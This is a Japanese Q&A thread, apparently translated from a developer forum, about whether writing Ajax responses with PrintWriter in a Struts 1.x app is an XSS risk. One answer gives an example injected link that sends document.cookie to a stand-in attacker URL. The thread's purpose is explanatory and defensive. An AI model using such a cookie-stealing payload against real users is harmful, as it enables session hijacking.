2

いくつかのタスクにAjaxを使用するWebアプリケーションがあります。ミドルウェアとしてJavaを使用しています(Struts 1.x)

問題は、静的コード分析を使用して、潜在的なセキュリティリスクについてアプリケーションが分析されたことです。分析の結果、次のコードの使用は脆弱であると見なされていることがわかりました。

例えば

// Method invoked by Ajax
public ActionForward execute(...)
{
    PrintWriter out = response.getWriter();

    out.println("Ajax Response");

    return null;
}

レポートには、PrintWriterの使用は有害であり、XSS(クロスサイトスクリプティング)が発生しやすいことが明確に記載されています。これが潜在的な脅威であるかどうかをオンラインで検索しようとしましたが、有用なものは見つかりませんでした。これが問題であるかどうか、そして私の代替案は何かを教えてください。

編集-問題はout.printlnステートメントで見つかりました

ありがとう、シッダールス

4

2 に答える 2

1

XSSそれは潜在的な脅威です。ここでは、それに関する情報を見つけて、XSSの脆弱性に関する質問を解決します。

更新

OWASPの脆弱性トップ10も参照します

于 2012-04-11T22:12:08.373 に答える
1

XSSに関する多くの情報をオンラインで見つけることができますが、これをテストして回避する方法について実際に詳細に説明しているものはほとんどありません。これは、調査が必要なものの1つです。例を挙げましょう。提供されたコードが問題の原因である場合とそうでない場合があります。

HTMLページがバックエンドに対してajax呼び出しを行い、結果を返すとします。成功した後、jqueryの例を示しています

$.each(data, function(){
$('div.result').append(this);
);

データが検証なしで追加されたことがわかります。データがスクリプトキディから来て入力された場合はどうなりますか

//this might not be the correct syntax
<a href="http://somehackerurl.com/hack.php?"+document.cookie>test</a>

入力を検証していないため、ユーザーは何でも入力でき、上記のコードはリンクをクリックしたユーザーのCookieを盗みます。

お役に立てれば

于 2012-04-11T22:16:37.340 に答える